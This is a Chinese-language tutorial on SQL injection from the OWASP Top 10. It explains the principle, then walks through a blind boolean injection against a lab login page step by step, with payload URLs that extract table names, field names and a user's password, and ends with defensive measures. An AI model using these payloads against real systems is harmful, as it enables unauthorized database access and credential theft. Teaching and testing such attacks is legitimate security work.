1. 程式人生 > 其它 >OWASP top 10 —— SQL注入-原理及其防禦

OWASP top 10 —— SQL注入-原理及其防禦

SQL注入

1、SQL注入介紹

WEB應用程式對使用者輸入的資料的合法性沒有進行判斷,使攻擊者對從前端傳入後端的資料可控,並且引數中帶有資料庫查詢,攻擊者可以通過構造不同的SQL語句來實現對資料庫的任意操作。

2、SQL注入的原理

SQL注入漏洞產生需要以下兩個條件:

  • 引數是可控的:前端傳給後端的引數內容是使用者可以控制的
  • 引數代入資料庫查詢:傳入的引數可以帶入資料庫中查詢

如果滿足以上兩個條件,攻擊者就可以在前端頁面中通過構造SQL語句,將自己想要查詢的SQL語句坪街道合法的引數後面,對資料庫進行增刪改查等操作。

3、SQL注入攻擊的總體思路

  • 尋找SQL注入的位置
  • 判斷伺服器型別和後臺資料庫型別
  • 針對不同的伺服器和資料庫特點進行SQL注入攻擊

4、SQL注入的8種攻擊行為

1. 猜測資料庫名,備份資料庫
2. 猜解欄位名稱
3. 遍歷系統的目錄結構,分析結構並發現WEB虛擬目錄,植入木馬
4. 查詢當前使用者的資料庫許可權
5. 設定新的資料庫帳戶提權得到資料庫管理員賬戶許可權
6. 利用儲存過程獲取作業系統管理員賬戶
7. 客戶端指令碼攻擊:通過正常的輸入提交方式將惡意指令碼提交到資料庫中,當其他使用者瀏覽此內容時就會受到惡意指令碼的攻擊。
8. 客戶端指令碼攻擊:通過SQL注入方式將惡意指令碼提交到資料庫中,直接使用SQL語法UPDATE資料庫,並將注入SQL經過“HEX編碼”,然後通過exec執行

SQL注入攻擊思路

1)進入登入頁面進行SQL注入測試

正常登入:

使用者名稱:admin 密碼:admin

SQL注入漏洞測試:

  • 在正常使用者名稱後面加單引號admin',單擊登入
  • 或在URL位址列直接輸入http://172.18.3.13:81/login.asp?name=admin'&pass=admin

  • 若出錯,證明沒有對'進行過濾,存在SQL注入漏洞

2)SQL注入攻擊

構造可以正常執行的目標地址

輸入http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1

原SQL語句為SELECT 
* FROM data Where uname='admin',條件未變,但接收密碼為admin' and '1=1
  • 登入失敗

輸入http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a

原SQL語句為SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'
  • 登入成功

3)猜解資料庫表名

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a

成功,說明資料表名確為data;若不成功,則可反覆測試,直至成功猜出表名

4)猜解資料庫欄位名

http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a

若使用者名稱欄位確為uname,則提示登入成功

同理可猜出密碼欄位為upass

5)猜解密碼長度

  • 已知有一使用者名稱為"wucm",首先猜其密碼長度大於1

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data 
where uname='wucm' and len(upass)>1)>0 and 'a'='a
  • 成功,說明使用者"wucm"的密碼大於1, 繼續猜測密碼長度小於10
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data 
where uname='wucm' and len(upass)<10)>0 and 'a'='a
  • 成功,說明"wucm"的密碼長度小於10位,繼續猜測其密碼長度小於5
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data 
where uname='wucm' and len(upass)<5)>0 and 'a'='a
  • 出錯,說明"wucm"的密碼長度大於5位,繼續猜測其密碼長度大於8位
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data 
where uname='wucm' and len(upass)>8)>0 and 'a'='a
  • 出錯,說明"wucm"的密碼長度小於8位,繼續猜測其密碼長度等於6位
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data 
where uname='wucm' and len(upass)=6)>0 and 'a'='a
  • 成功,說明"wucm"的密碼長度為6位

6)猜解密碼

根據前面的測試我們已經知道該使用者的密碼長度位6位,接下來對密碼進行逐位猜測:

  • 首先測試第一位是否為數字
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data 
where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a
  • 出錯,說明密碼第一位不是數字, 測試是否位字母
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data 
where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a
  • 成功,基本說明密碼第一位是字母, 接下來重複測試,不斷縮小字母範圍,最後確定密碼第一位為字母"w"
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data 
where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a
  • 成功,說明密碼第一位位"w"
  • 同理對6位密碼逐位進行猜測,最後得到密碼為"wcm987"
  • 至此我們就猜測出使用者"wucm"的密碼為"wcm987",進行登陸測試
  • 登入成功,證明整個猜測過程和最後得出的密碼都是正確的

5、SQL注入的防禦方法

1.普通使用者與系統管理員使用者的許可權要有嚴格的區分

2.強迫使用引數化語句

3.加強對使用者輸入的驗證

4.多多使用SQL server 資料庫自帶的安全引數

5.必要的情況下使用專業的漏洞掃描工具來尋找可能被攻擊的點

6.設定陷阱賬號
   設定兩個帳號,一個是普通管理員帳號,一個是防注入的帳號。